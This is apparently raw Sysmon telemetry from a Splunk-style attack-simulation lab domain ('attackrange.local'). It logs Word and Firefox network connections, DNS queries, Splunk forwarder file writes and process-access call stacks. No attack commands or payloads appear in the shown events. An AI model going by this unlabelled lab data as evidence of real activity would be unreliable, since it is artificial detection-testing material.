Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59559-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051219Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.425{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59557-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051218Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.425{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59555-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051217Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.425{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59553-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051216Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.425{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59550-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051215Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.425{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59548-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051214Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.425{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59546-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051213Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.425{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59544-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051212Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.424{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59558-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051211Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.424{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59556-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 23542300x800000000000000051210Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.218{7BD73061-727B-613B-4C0B-00000000F001}5184NT AUTHORITY\NETWORK SERVICEC:\Windows\system32\sppsvc.exeC:\Windows\System32\spp\store\2.0\cache\cache.datMD5=A4432FD2B7AF9AF9C19652B16A80BC95,SHA256=A8ABF38E2571CD577AA807AB05317B9728F07F19259AE0E7B3AD52F5DFA1AE43,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000051209Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.423{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59554-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051208Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.423{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59552-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051207Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.423{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59551-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051206Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.423{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59549-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.422{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59547-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.417{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59545-false2.18.213.24a2-18-213-24.deploy.static.akamaitechnologies.com443https 354300x800000000000000051203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.404{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse127.0.0.1win-dc-387.attackrange.local53domainfalse127.0.0.1win-dc-387.attackrange.local62316- 354300x800000000000000051202Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.373{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62316- 354300x800000000000000051201Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.366{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59543-false185.199.110.133cdn-185-199-110-133.github.com443https 354300x800000000000000051200Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.295{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59542-false185.199.110.133cdn-185-199-110-133.github.com443https 354300x800000000000000051199Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.290{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62622- 354300x800000000000000051198Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.290{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local62652- 354300x800000000000000051197Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.285{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local56521- 354300x800000000000000051196Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.230{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59540-false93.184.220.29-80http 354300x800000000000000051195Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.230{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59539-false93.184.220.29-80http 354300x800000000000000051194Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:32.230{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59541-false93.184.220.29-80http 23542300x800000000000000051193Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.076{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B4FAAEF405D8E5B4408B271854E9980B,SHA256=7167DFA2D97FD6ACC3D0B8140FCA33F6B7521B6F6AA8371881061AE70B7E07DE,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051192Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:34.038{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=40ECDD267BC5CFECB037716A3AE733F0,SHA256=D47869312D8CBFF77290E67AE6D08FF25F87A7868E1C7BF41C467CFCEAF0AFDF,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000051244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:35.980{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0701D161A5BA2DE925E8794B892B4EDF,SHA256=3757A1CBC905B8B579866ABA0B11C0FA6481FDAC9E4CDE72C82BAD27CA049889,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000016435Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.972{625C326B-729B-613B-FC04-00000000F101}4088632C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016434Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-729B-613B-FC04-00000000F101}4088C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016433Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016432Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016431Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016430Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016429Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016428Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016427Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016426Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67EC-613B-0500-00000000F101}4122740C:\Windows\system32\csrss.exe{625C326B-729B-613B-FC04-00000000F101}4088C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000016425Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016424Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-67ED-613B-0C00-00000000F101}7322400C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016423Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.675{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-729B-613B-FC04-00000000F101}4088C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000016422Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.676{625C326B-729B-613B-FC04-00000000F101}4088C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000016421Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.441{625C326B-729B-613B-FB04-00000000F101}31203820C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016420Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:58:35.175{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-729B-613B-FB04-00000000F101}3120C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000016419Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 